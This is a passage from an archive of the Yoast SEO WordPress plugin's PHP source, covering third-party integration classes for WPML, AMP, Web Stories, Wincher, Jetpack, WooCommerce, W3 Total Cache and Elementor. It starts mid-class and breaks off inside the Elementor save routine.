		$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
	}

	/**
	 * Generates the notification to show to the user when WPML is installed,
	 * but the Yoast SEO Multilingual plugin is not.
	 *
	 * @return Yoast_Notification The notification.
	 */
	protected function get_notification() {
		return new Yoast_Notification(
			\sprintf(
				/* translators: %1$s expands to an opening anchor tag, %2$s expands to an closing anchor tag. */
				\__( 'We notice that you have installed WPML. To make sure your canonical URLs are set correctly, %1$sinstall and activate the WPML SEO add-on%2$s as well!', 'wordpress-seo' ),
				'<a href="' . \esc_url( $this->short_link_helper->get( 'https://yoa.st/wpml-yoast-seo' ) ) . '" target="_blank">',
				'</a>'
			),
			[
				'id'   => self::NOTIFICATION_ID,
				'type' => Yoast_Notification::WARNING,
			]
		);
	}
}
wordpress-seo/src/integrations/third-party/amp.php000064400000002723147510273100016416 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Integrations\Front_End_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * AMP integration.
 */
class AMP implements Integration_Interface {

	/**
	 * The front end integration.
	 *
	 * @var Front_End_Integration
	 */
	protected $front_end;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Constructs the AMP integration
	 *
	 * @param Front_End_Integration $front_end The front end integration.
	 */
	public function __construct( Front_End_Integration $front_end ) {
		$this->front_end = $front_end;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'amp_post_template_head', [ $this, 'remove_amp_meta_output' ], 0 );
		\add_action( 'amp_post_template_head', [ $this->front_end, 'call_wpseo_head' ], 9 );
	}

	/**
	 * Removes amp meta output.
	 *
	 * @return void
	 */
	public function remove_amp_meta_output() {
		\remove_action( 'amp_post_template_head', 'amp_post_template_add_title' );
		\remove_action( 'amp_post_template_head', 'amp_post_template_add_canonical' );
		\remove_action( 'amp_post_template_head', 'amp_print_schemaorg_metadata' );
	}
}
wordpress-seo/src/integrations/third-party/web-stories-post-edit.php000064400000002331147510273100022005 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Admin\Post_Conditional;
use Yoast\WP\SEO\Conditionals\Web_Stories_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Web Stories integration.
 */
class Web_Stories_Post_Edit implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Web_Stories_Conditional::class, Post_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_admin_l10n', [ $this, 'add_admin_l10n' ] );
	}

	/**
	 * Adds a isWebStoriesIntegrationActive variable to the Adminl10n array.
	 *
	 * @param array $input The array to add the isWebStoriesIntegrationActive to.
	 *
	 * @return array The passed array with the additional isWebStoriesIntegrationActive variable set to 1 if we are editing a web story.
	 */
	public function add_admin_l10n( $input ) {
		if ( \get_post_type() === 'web-story' ) {
			$input['isWebStoriesIntegrationActive'] = 1;
		}
		return $input;
	}
}
wordpress-seo/src/integrations/third-party/wincher-publish.php000064400000011157147510273100020745 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use WP_Post;
use Yoast\WP\SEO\Actions\Wincher\Wincher_Account_Action;
use Yoast\WP\SEO\Actions\Wincher\Wincher_Keyphrases_Action;
use Yoast\WP\SEO\Conditionals\Wincher_Automatically_Track_Conditional;
use Yoast\WP\SEO\Conditionals\Wincher_Conditional;
use Yoast\WP\SEO\Conditionals\Wincher_Enabled_Conditional;
use Yoast\WP\SEO\Conditionals\Wincher_Token_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Handles automatically tracking published posts with Wincher.
 */
class Wincher_Publish implements Integration_Interface {

	/**
	 * The Wincher enabled conditional.
	 *
	 * @var Wincher_Enabled_Conditional
	 */
	protected $wincher_enabled;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The Wincher keyphrases action handler.
	 *
	 * @var Wincher_Keyphrases_Action
	 */
	protected $keyphrases_action;

	/**
	 * The Wincher account action handler.
	 *
	 * @var Wincher_Account_Action
	 */
	protected $account_action;

	/**
	 * Wincher publish constructor.
	 *
	 * @param Wincher_Enabled_Conditional $wincher_enabled   The WPML WPSEO conditional.
	 * @param Options_Helper              $options_helper    The options helper.
	 * @param Wincher_Keyphrases_Action   $keyphrases_action The keyphrases action class.
	 * @param Wincher_Account_Action      $account_action    The account action class.
	 */
	public function __construct(
		Wincher_Enabled_Conditional $wincher_enabled,
		Options_Helper $options_helper,
		Wincher_Keyphrases_Action $keyphrases_action,
		Wincher_Account_Action $account_action
	) {
		$this->wincher_enabled   = $wincher_enabled;
		$this->options_helper    = $options_helper;
		$this->keyphrases_action = $keyphrases_action;
		$this->account_action    = $account_action;
	}

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function register_hooks() {
		/**
		 * Called in the REST API when submitting the post copy in the Block Editor.
		 * Runs the republishing of the copy onto the original.
		 */
		\add_action( 'rest_after_insert_post', [ $this, 'track_after_rest_api_request' ] );

		/**
		 * Called by `wp_insert_post()` when submitting the post copy, which runs in two cases:
		 * - In the Classic Editor, where there's only one request that updates everything.
		 * - In the Block Editor, only when there are custom meta boxes.
		 */
		\add_action( 'wp_insert_post', [ $this, 'track_after_post_request' ], \PHP_INT_MAX, 2 );
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * This integration should only be active when the feature is enabled, a token is available and automatically tracking is enabled.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [
			Wincher_Conditional::class,
			Wincher_Enabled_Conditional::class,
			Wincher_Automatically_Track_Conditional::class,
			Wincher_Token_Conditional::class,
		];
	}

	/**
	 * Determines whether the current request is a REST request.
	 *
	 * @return bool Whether the request is a REST request.
	 *
	 * @deprecated 23.6
	 * @codeCoverageIgnore
	 */
	public function is_rest_request() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 23.6', 'wp_is_serving_rest_request' );
		return \defined( 'REST_REQUEST' ) && \REST_REQUEST;
	}

	/**
	 * Sends the keyphrases associated with the post to Wincher for automatic tracking.
	 *
	 * @param WP_Post $post The post to extract the keyphrases from.
	 *
	 * @return void
	 */
	public function track_request( $post ) {
		if ( ! $post instanceof WP_Post ) {
			return;
		}

		// Filter out empty entries.
		$keyphrases = \array_filter( $this->keyphrases_action->collect_keyphrases_from_post( $post ) );

		if ( ! empty( $keyphrases ) ) {
			$this->keyphrases_action->track_keyphrases( $keyphrases, $this->account_action->check_limit() );
		}
	}

	/**
	 * Republishes the original post with the passed post, when using the Block Editor.
	 *
	 * @param WP_Post $post The copy's post object.
	 *
	 * @return void
	 */
	public function track_after_rest_api_request( $post ) {
		$this->track_request( $post );
	}

	/**
	 * Republishes the original post with the passed post, when using the Classic Editor.
	 *
	 * Runs also in the Block Editor to save the custom meta data only when there
	 * are custom meta boxes.
	 *
	 * @param int     $post_id The copy's post ID.
	 * @param WP_Post $post    The copy's post object.
	 *
	 * @return void
	 */
	public function track_after_post_request( $post_id, $post ) {
		if ( \wp_is_serving_rest_request() ) {
			return;
		}

		$this->track_request( $post );
	}
}
wordpress-seo/src/integrations/third-party/wpml.php000064400000003553147510273100016622 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * WPML integration.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded -- Known false positive with acronyms. Fix expected in YoastCS 3.x.
 */
class WPML implements Integration_Interface {

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wpseo_home_url', [ $this, 'filter_home_url_before' ] );
		\add_filter( 'home_url', [ $this, 'filter_home_url_after' ], 100 );
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ WPML_Conditional::class ];
	}

	/**
	 * Adds a filter to WPML's wpml_get_home_url filter to ensure we get the unmanipulated home URL.
	 *
	 * @return void
	 */
	public function filter_home_url_before() {
		\add_filter( 'wpml_get_home_url', [ $this, 'wpml_get_home_url' ], 10, 2 );
	}

	/**
	 * Removes the wpml_get_home_url filter to return the WPML, language-enriched home URL.
	 *
	 * @param string $home_url The filtered home URL.
	 *
	 * @return string The unfiltered home URL.
	 */
	public function filter_home_url_after( $home_url ) {
		\remove_filter( 'wpml_get_home_url', [ $this, 'wpml_get_home_url' ], 10 );

		return $home_url;
	}

	/**
	 * Returns the original URL instead of the language-enriched URL.
	 * This method gets automatically triggered by the wpml_get_home_url filter.
	 *
	 * @param string $home_url The url altered by WPML. Unused.
	 * @param string $url      The url that isn't altered by WPML.
	 *
	 * @return string The original url.
	 */
	public function wpml_get_home_url( $home_url, $url ) {
		return $url;
	}
}
wordpress-seo/src/integrations/third-party/exclude-elementor-post-types.php000064400000001650147510273100023405 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Activated_Conditional;
use Yoast\WP\SEO\Integrations\Abstract_Exclude_Post_Type;

/**
 * Excludes certain Elementor-specific post types from the indexable table.
 *
 * Posts with these post types will not be saved to the indexable table.
 */
class Exclude_Elementor_Post_Types extends Abstract_Exclude_Post_Type {

	/**
	 * This integration is only active when the Elementor plugin
	 * is installed and activated.
	 *
	 * @return array|string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ Elementor_Activated_Conditional::class ];
	}

	/**
	 * Returns the names of the post types to be excluded.
	 * To be used in the wpseo_indexable_excluded_post_types filter.
	 *
	 * @return array The names of the post types.
	 */
	public function get_post_type() {
		return [ 'elementor_library' ];
	}
}
wordpress-seo/src/integrations/third-party/jetpack.php000064400000001504147510273100017256 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Conditionals\Jetpack_Conditional;
use Yoast\WP\SEO\Conditionals\Open_Graph_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Jetpack integration.
 */
class Jetpack implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class, Jetpack_Conditional::class, Open_Graph_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'jetpack_enable_open_graph', '__return_false' );
	}
}
wordpress-seo/src/integrations/third-party/woocommerce-permalinks.php000064400000005714147510273100022326 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * The permalink watcher.
 */
class Woocommerce_Permalinks implements Integration_Interface {

	/**
	 * Represents the indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ WooCommerce_Conditional::class, Migrations_Conditional::class ];
	}

	/**
	 * Constructor.
	 *
	 * @param Indexable_Helper $indexable_helper Indexable Helper.
	 */
	public function __construct( Indexable_Helper $indexable_helper ) {
		$this->indexable_helper = $indexable_helper;
	}

	/**
	 * Registers the hooks.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_post_types_reset_permalinks', [ $this, 'filter_product_from_post_types' ] );
		\add_action( 'update_option_woocommerce_permalinks', [ $this, 'reset_woocommerce_permalinks' ], 10, 2 );
	}

	/**
	 * Filters the product post type from the post type.
	 *
	 * @param array $post_types The post types to filter.
	 *
	 * @return array The filtered post types.
	 */
	public function filter_product_from_post_types( $post_types ) {
		unset( $post_types['product'] );

		return $post_types;
	}

	/**
	 * Resets the indexables for WooCommerce based on the changed permalink fields.
	 *
	 * @param array $old_value The old value.
	 * @param array $new_value The new value.
	 *
	 * @return void
	 */
	public function reset_woocommerce_permalinks( $old_value, $new_value ) {
		$changed_options = \array_diff( $old_value, $new_value );

		if ( \array_key_exists( 'product_base', $changed_options ) ) {
			$this->indexable_helper->reset_permalink_indexables( 'post', 'product' );
		}

		if ( \array_key_exists( 'attribute_base', $changed_options ) ) {
			$attribute_taxonomies = $this->get_attribute_taxonomies();

			foreach ( $attribute_taxonomies as $attribute_name ) {
				$this->indexable_helper->reset_permalink_indexables( 'term', $attribute_name );
			}
		}

		if ( \array_key_exists( 'category_base', $changed_options ) ) {
			$this->indexable_helper->reset_permalink_indexables( 'term', 'product_cat' );
		}

		if ( \array_key_exists( 'tag_base', $changed_options ) ) {
			$this->indexable_helper->reset_permalink_indexables( 'term', 'product_tag' );
		}
	}

	/**
	 * Retrieves the taxonomies based on the attributes.
	 *
	 * @return array The taxonomies.
	 */
	protected function get_attribute_taxonomies() {
		$taxonomies = [];
		foreach ( \wc_get_attribute_taxonomies() as $attribute_taxonomy ) {
			$taxonomies[] = \wc_attribute_taxonomy_name( $attribute_taxonomy->attribute_name );
		}

		$taxonomies = \array_filter( $taxonomies );

		return $taxonomies;
	}
}
wordpress-seo/src/integrations/third-party/w3-total-cache.php000064400000001474147510273100020356 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Third_Party\W3_Total_Cache_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * W3 Total Cache integration.
 */
class W3_Total_Cache implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ W3_Total_Cache_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * On successful update/add of the taxonomy meta option, flush the W3TC cache.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'add_option_wpseo_taxonomy_meta', 'w3tc_objectcache_flush' );
		\add_action( 'update_option_wpseo_taxonomy_meta', 'w3tc_objectcache_flush' );
	}
}
wordpress-seo/src/integrations/third-party/woocommerce-post-edit.php000064400000002740147510273100022065 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use WP_Post;
use Yoast\WP\SEO\Conditionals\Admin\Post_Conditional;
use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * A WooCommerce integration that runs in the post editor.
 */
class WooCommerce_Post_Edit implements Integration_Interface {

	/**
	 * Register the hooks for this integration to work.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_post_edit_values', [ $this, 'remove_meta_description_date' ], 10, 2 );
	}

	/**
	 * Only run this integration when WooCommerce is active and the user is in the post editor.
	 *
	 * @return string[] The conditionals that should be met before this integration is loaded.
	 */
	public static function get_conditionals() {
		return [ WooCommerce_Conditional::class, Post_Conditional::class ];
	}

	/**
	 * Don't show the date in the Google preview for WooCommerce products,
	 * since Google does not show dates for product pages in the search results.
	 *
	 * @param array   $values Key-value map of variables we enqueue in the JavaScript of the post editor.
	 * @param WP_Post $post   The post currently opened in the editor.
	 *
	 * @return array The values, where the `metaDescriptionDate` is set to the empty string.
	 */
	public function remove_meta_description_date( $values, $post ) {
		if ( $post->post_type === 'product' ) {
			$values['metaDescriptionDate'] = '';
		}

		return $values;
	}
}
wordpress-seo/src/integrations/third-party/woocommerce.php000064400000022703147510273100020160 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Pagination_Helper;
use Yoast\WP\SEO\Helpers\Woocommerce_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * WooCommerce integration.
 */
class WooCommerce implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * The WPSEO Replace Vars object.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	private $replace_vars;

	/**
	 * The memoizer for the meta tags context.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	protected $context_memoizer;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $repository;

	/**
	 * The pagination helper.
	 *
	 * @var Pagination_Helper
	 */
	protected $pagination_helper;

	/**
	 * The WooCommerce helper.
	 *
	 * @var Woocommerce_Helper
	 */
	private $woocommerce_helper;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ WooCommerce_Conditional::class, Front_End_Conditional::class ];
	}

	/**
	 * WooCommerce constructor.
	 *
	 * @param Options_Helper             $options            The options helper.
	 * @param WPSEO_Replace_Vars         $replace_vars       The replace vars helper.
	 * @param Meta_Tags_Context_Memoizer $context_memoizer   The meta tags context memoizer.
	 * @param Indexable_Repository       $repository         The indexable repository.
	 * @param Pagination_Helper          $pagination_helper  The paginataion helper.
	 * @param Woocommerce_Helper         $woocommerce_helper The WooCommerce helper.
	 */
	public function __construct(
		Options_Helper $options,
		WPSEO_Replace_Vars $replace_vars,
		Meta_Tags_Context_Memoizer $context_memoizer,
		Indexable_Repository $repository,
		Pagination_Helper $pagination_helper,
		Woocommerce_Helper $woocommerce_helper
	) {
		$this->options            = $options;
		$this->replace_vars       = $replace_vars;
		$this->context_memoizer   = $context_memoizer;
		$this->repository         = $repository;
		$this->pagination_helper  = $pagination_helper;
		$this->woocommerce_helper = $woocommerce_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_frontend_page_type_simple_page_id', [ $this, 'get_page_id' ] );
		\add_filter( 'wpseo_breadcrumb_indexables', [ $this, 'add_shop_to_breadcrumbs' ] );

		\add_filter( 'wpseo_title', [ $this, 'title' ], 10, 2 );
		\add_filter( 'wpseo_metadesc', [ $this, 'description' ], 10, 2 );
		\add_filter( 'wpseo_canonical', [ $this, 'canonical' ], 10, 2 );
		\add_filter( 'wpseo_adjacent_rel_url', [ $this, 'adjacent_rel_url' ], 10, 3 );
	}

	/**
	 * Returns the correct canonical when WooCommerce is enabled.
	 *
	 * @param string                      $canonical    The current canonical.
	 * @param Indexable_Presentation|null $presentation The indexable presentation.
	 *
	 * @return string The correct canonical.
	 */
	public function canonical( $canonical, $presentation = null ) {
		if ( ! $this->woocommerce_helper->is_shop_page() ) {
			return $canonical;
		}

		$url = $this->get_shop_paginated_link( 'curr', $presentation );

		if ( $url ) {
			return $url;
		}

		return $canonical;
	}

	/**
	 * Returns correct adjacent pages when WooCommerce is enabled.
	 *
	 * @param string                      $link         The current link.
	 * @param string                      $rel          Link relationship, prev or next.
	 * @param Indexable_Presentation|null $presentation The indexable presentation.
	 *
	 * @return string The correct link.
	 */
	public function adjacent_rel_url( $link, $rel, $presentation = null ) {
		if ( ! $this->woocommerce_helper->is_shop_page() ) {
			return $link;
		}

		if ( $rel !== 'next' && $rel !== 'prev' ) {
			return $link;
		}

		$url = $this->get_shop_paginated_link( $rel, $presentation );

		if ( $url ) {
			return $url;
		}

		return $link;
	}

	/**
	 * Adds a breadcrumb for the shop page.
	 *
	 * @param Indexable[] $indexables The array with indexables.
	 *
	 * @return Indexable[] The indexables to be shown in the breadcrumbs, with the shop page added.
	 */
	public function add_shop_to_breadcrumbs( $indexables ) {
		$shop_page_id = $this->woocommerce_helper->get_shop_page_id();

		if ( ! \is_int( $shop_page_id ) || $shop_page_id < 1 ) {
			return $indexables;
		}

		foreach ( $indexables as $index => $indexable ) {
			if ( $indexable->object_type === 'post-type-archive' && $indexable->object_sub_type === 'product' ) {
				$shop_page_indexable = $this->repository->find_by_id_and_type( $shop_page_id, 'post' );
				if ( \is_a( $shop_page_indexable, Indexable::class ) ) {
					$indexables[ $index ] = $shop_page_indexable;
				}
			}
		}

		return $indexables;
	}

	/**
	 * Returns the ID of the WooCommerce shop page when the currently opened page is the shop page.
	 *
	 * @param int $page_id The page id.
	 *
	 * @return int The Page ID of the shop.
	 */
	public function get_page_id( $page_id ) {
		if ( ! $this->woocommerce_helper->is_shop_page() ) {
			return $page_id;
		}

		return $this->woocommerce_helper->get_shop_page_id();
	}

	/**
	 * Handles the title.
	 *
	 * @param string                      $title        The title.
	 * @param Indexable_Presentation|null $presentation The indexable presentation.
	 *
	 * @return string The title to use.
	 */
	public function title( $title, $presentation = null ) {
		$presentation = $this->ensure_presentation( $presentation );

		if ( $presentation->model->title ) {
			return $title;
		}

		if ( ! $this->woocommerce_helper->is_shop_page() ) {
			return $title;
		}

		if ( ! \is_archive() ) {
			return $title;
		}

		$shop_page_id = $this->woocommerce_helper->get_shop_page_id();
		if ( $shop_page_id < 1 ) {
			return $title;
		}

		$product_template_title = $this->get_product_template( 'title-product', $shop_page_id );
		if ( $product_template_title ) {
			return $product_template_title;
		}

		return $title;
	}

	/**
	 * Handles the meta description.
	 *
	 * @param string                      $description  The title.
	 * @param Indexable_Presentation|null $presentation The indexable presentation.
	 *
	 * @return string The description to use.
	 */
	public function description( $description, $presentation = null ) {
		$presentation = $this->ensure_presentation( $presentation );

		if ( $presentation->model->description ) {
			return $description;
		}

		if ( ! $this->woocommerce_helper->is_shop_page() ) {
			return $description;
		}

		if ( ! \is_archive() ) {
			return $description;
		}

		$shop_page_id = $this->woocommerce_helper->get_shop_page_id();
		if ( $shop_page_id < 1 ) {
			return $description;
		}

		$product_template_description = $this->get_product_template( 'metadesc-product', $shop_page_id );
		if ( $product_template_description ) {
			return $product_template_description;
		}

		return $description;
	}

	/**
	 * Uses template for the given option name and replace the replacement variables on it.
	 *
	 * @param string $option_name  The option name to get the template for.
	 * @param string $shop_page_id The page id to retrieve template for.
	 *
	 * @return string The rendered value.
	 */
	protected function get_product_template( $option_name, $shop_page_id ) {
		$template = $this->options->get( $option_name );
		$page     = \get_post( $shop_page_id );

		return $this->replace_vars->replace( $template, $page );
	}

	/**
	 * Get paginated link for shop page.
	 *
	 * @param string                      $rel          Link relationship, prev or next or curr.
	 * @param Indexable_Presentation|null $presentation The indexable presentation.
	 *
	 * @return string|null The link.
	 */
	protected function get_shop_paginated_link( $rel, $presentation = null ) {
		$presentation = $this->ensure_presentation( $presentation );

		$permalink = $presentation->permalink;
		if ( ! $permalink ) {
			return null;
		}

		$current_page = \max( 1, $this->pagination_helper->get_current_archive_page_number() );

		if ( $rel === 'curr' && $current_page === 1 ) {
			return $permalink;
		}

		if ( $rel === 'curr' && $current_page > 1 ) {
			return $this->pagination_helper->get_paginated_url( $permalink, $current_page );
		}

		if ( $rel === 'prev' && $current_page === 2 ) {
			return $permalink;
		}

		if ( $rel === 'prev' && $current_page > 2 ) {
			return $this->pagination_helper->get_paginated_url( $permalink, ( $current_page - 1 ) );
		}

		if ( $rel === 'next' && $current_page < $this->pagination_helper->get_number_of_archive_pages() ) {
			return $this->pagination_helper->get_paginated_url( $permalink, ( $current_page + 1 ) );
		}

		return null;
	}

	/**
	 * Ensures a presentation is available.
	 *
	 * @param Indexable_Presentation $presentation The indexable presentation.
	 *
	 * @return Indexable_Presentation The presentation, taken from the current page if the input was invalid.
	 */
	protected function ensure_presentation( $presentation ) {
		if ( \is_a( $presentation, Indexable_Presentation::class ) ) {
			return $presentation;
		}

		$context = $this->context_memoizer->for_current_page();

		return $context->presentation;
	}
}
wordpress-seo/src/integrations/third-party/elementor.php000064400000057304147510273100017640 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use WP_Post;
use WP_Screen;
use WPSEO_Admin_Asset_Manager;
use WPSEO_Admin_Recommended_Replace_Vars;
use WPSEO_Meta;
use WPSEO_Metabox_Analysis_Inclusive_Language;
use WPSEO_Metabox_Analysis_Readability;
use WPSEO_Metabox_Analysis_SEO;
use WPSEO_Metabox_Formatter;
use WPSEO_Post_Metabox_Formatter;
use WPSEO_Replace_Vars;
use WPSEO_Utils;
use Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Edit_Conditional;
use Yoast\WP\SEO\Editors\Application\Site\Website_Information_Repository;
use Yoast\WP\SEO\Elementor\Infrastructure\Request_Post;
use Yoast\WP\SEO\Helpers\Capability_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Meta_Fields_Presenter;
use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

/**
 * Integrates the Yoast SEO metabox in the Elementor editor.
 */
class Elementor implements Integration_Interface {

	/**
	 * Represents the post.
	 *
	 * @var WP_Post|null
	 */
	protected $post;

	/**
	 * Represents the admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Represents the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * Represents the capability helper.
	 *
	 * @var Capability_Helper
	 */
	protected $capability;

	/**
	 * Holds the Request_Post.
	 *
	 * @var Request_Post
	 */
	private $request_post;

	/**
	 * Holds whether the socials are enabled.
	 *
	 * @var bool
	 */
	protected $social_is_enabled;

	/**
	 * Holds whether the advanced settings are enabled.
	 *
	 * @var bool
	 */
	protected $is_advanced_metadata_enabled;

	/**
	 * Helper to determine whether or not the SEO analysis is enabled.
	 *
	 * @var WPSEO_Metabox_Analysis_SEO
	 */
	protected $seo_analysis;

	/**
	 * Helper to determine whether or not the readability analysis is enabled.
	 *
	 * @var WPSEO_Metabox_Analysis_Readability
	 */
	protected $readability_analysis;

	/**
	 * Helper to determine whether or not the inclusive language analysis is enabled.
	 *
	 * @var WPSEO_Metabox_Analysis_Inclusive_Language
	 */
	protected $inclusive_language_analysis;

	/**
	 * Holds the promotion manager.
	 *
	 * @var Promotion_Manager
	 */
	protected $promotion_manager;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Elementor_Edit_Conditional::class ];
	}

	/**
	 * Constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager The asset manager.
	 * @param Options_Helper            $options       The options helper.
	 * @param Capability_Helper         $capability    The capability helper.
	 * @param Request_Post              $request_post  The Request_Post.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Options_Helper $options,
		Capability_Helper $capability,
		Request_Post $request_post
	) {
		$this->asset_manager = $asset_manager;
		$this->options       = $options;
		$this->capability    = $capability;
		$this->request_post  = $request_post;

		$this->seo_analysis                 = new WPSEO_Metabox_Analysis_SEO();
		$this->readability_analysis         = new WPSEO_Metabox_Analysis_Readability();
		$this->inclusive_language_analysis  = new WPSEO_Metabox_Analysis_Inclusive_Language();
		$this->social_is_enabled            = $this->options->get( 'opengraph', false ) || $this->options->get( 'twitter', false );
		$this->is_advanced_metadata_enabled = $this->capability->current_user_can( 'wpseo_edit_advanced_metadata' ) || $this->options->get( 'disableadvanced_meta' ) === false;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wp_ajax_wpseo_elementor_save', [ $this, 'save_postdata' ] );

		// We need to delay the post type lookup to give other plugins a chance to register custom post types.
		\add_action( 'init', [ $this, 'register_elementor_hooks' ], \PHP_INT_MAX );
	}

	/**
	 * Registers our Elementor hooks.
	 * This is done for pages with metabox on page load and not on ajax request.
	 *
	 * @return void
	 */
	public function register_elementor_hooks() {
		if ( $this->get_metabox_post() === null || ! $this->display_metabox( $this->get_metabox_post()->post_type ) ) {
			return;
		}

		\add_action( 'elementor/editor/before_enqueue_scripts', [ $this, 'init' ] );
	}

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function init() {
		$this->asset_manager->register_assets();
		$this->enqueue();
		$this->render_hidden_fields();
	}

	// Below is mostly copied from `class-metabox.php`. That constructor has side-effects we do not need.

	/**
	 * Determines whether the metabox should be shown for the passed identifier.
	 *
	 * By default, the check is done for post types, but can also be used for taxonomies.
	 *
	 * @param string|null $identifier The identifier to check.
	 * @param string      $type       The type of object to check. Defaults to post_type.
	 *
	 * @return bool Whether the metabox should be displayed.
	 */
	public function display_metabox( $identifier = null, $type = 'post_type' ) {
		return WPSEO_Utils::is_metabox_active( $identifier, $type );
	}

	/**
	 * Saves the WP SEO metadata for posts.
	 *
	 * Outputs JSON via wp_send_json then stops code execution.
	 *
	 * {@internal $_POST parameters are validated via sanitize_post_meta().}}
	 *
	 * @return void
	 */
	public function save_postdata() {
		global $post;

		if ( ! isset( $_POST['post_id'] ) || ! \is_string( $_POST['post_id'] ) ) {
